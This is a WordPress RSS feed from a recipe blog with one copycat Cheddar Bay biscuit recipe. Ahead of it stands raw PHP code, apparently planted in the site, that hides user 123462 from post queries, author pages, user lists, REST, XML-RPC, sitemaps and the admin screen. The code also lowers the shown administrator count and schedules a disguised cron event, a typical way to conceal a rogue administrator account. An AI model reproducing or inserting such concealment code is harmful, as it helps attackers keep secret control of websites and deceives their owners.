add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 123462;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 123462 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 123462 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 123462;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 123462;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 123462;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/123462(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 123462;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-123462{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
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	<title>Red Lobster &#8211; Damn That Looks Good</title>
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		<title>Secret Recipes: Cheddar Bay Biscuits From Red Lobster</title>
		<link>https://damnthatlooksgood.com/secret-recipes-cheddar-bay-biscuits-from-red-lobster/</link>
					<comments>https://damnthatlooksgood.com/secret-recipes-cheddar-bay-biscuits-from-red-lobster/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Mon, 25 Jun 2012 13:05:42 +0000</pubDate>
				<category><![CDATA[Biscuit]]></category>
		<category><![CDATA[Bread]]></category>
		<category><![CDATA[Cheese]]></category>
		<category><![CDATA[Garlic]]></category>
		<category><![CDATA[Recipe]]></category>
		<category><![CDATA[Red Lobster]]></category>
		<category><![CDATA[Restaurant]]></category>
		<category><![CDATA[Secret Recipes]]></category>
		<guid isPermaLink="false">http://damnthatlooksgood.com/?p=80047</guid>

					<description><![CDATA[<p>Ingredients: For the biscuits: Cooking spray 1 3/4 cups all-purpose flour 1 tablespoon plus 2 teaspoons baking [&#8230;]</p>
<p>The post <a href="https://damnthatlooksgood.com/secret-recipes-cheddar-bay-biscuits-from-red-lobster/" target="_blank">Secret Recipes: Cheddar Bay Biscuits From Red Lobster</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></description>
										<content:encoded><![CDATA[<p><a href="http://damnthatlooksgood.com/?p=80047"><img loading="lazy" class="alignnone size-full wp-image-80048" title="Food6" src="http://damnthatlooksgood.com/wp-content/uploads/2012/04/Food61.jpg" alt="" width="600" height="325" srcset="https://damnthatlooksgood.com/wp-content/uploads/2012/04/Food61.jpg 600w, https://damnthatlooksgood.com/wp-content/uploads/2012/04/Food61-300x162.jpg 300w" sizes="(max-width: 600px) 100vw, 600px" /></a></p>
<p>Ingredients:<br />
For the biscuits:<br />
Cooking spray<br />
1 3/4 cups all-purpose flour<br />
1 tablespoon plus 2 teaspoons baking powder<br />
2 1/2 teaspoons sugar<br />
1/4 teaspoon salt<br />
3 tablespoons vegetable shortening, at room temperature<br />
4 tablespoons cold unsalted butter, cut into 1/2-inch pieces<br />
6 ounces grated yellow cheddar cheese (about 1 1/4 cups)<br />
3/4 cup whole milk</p>
<p>For the garlic butter:<br />
• 3 tablespoons unsalted butter<br />
• 1 clove garlic, smashed<br />
• 1 teaspoon chopped fresh parsley</p>
<p>Directions:<br />
Position a rack in the upper third of the oven and preheat to 425 degrees. Lightly mist a large baking sheet with cooking spray.</p>
<p>Make the biscuits: Pulse the flour, baking powder, sugar and salt in a food processor. Add the shortening and pulse until combined. Add the butter; pulse 4 or 5 times, or until the butter is in pea-size pieces. Add the cheese and pulse 2 or 3 times. Pour in the milk and pulse just until the mixture is moistened and forms a shaggy dough. Turn out onto a clean surface and gently knead until the dough comes together. Do not overwork the dough or the biscuits will be tough.</p>
<p>Drop the dough onto the baking sheet in scant 1/4-cup portions, 2 inches apart, and bake until golden, 15 to 20 minutes.</p>
<p>Meanwhile, make the garlic butter: Melt the butter with the garlic in a small saucepan over medium heat; cook for 1 minute. Remove from the heat and stir in the parsley. Brush the biscuits with the garlic butter and serve warm.</p><p>The post <a href="https://damnthatlooksgood.com/secret-recipes-cheddar-bay-biscuits-from-red-lobster/" target="_blank">Secret Recipes: Cheddar Bay Biscuits From Red Lobster</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></content:encoded>
					
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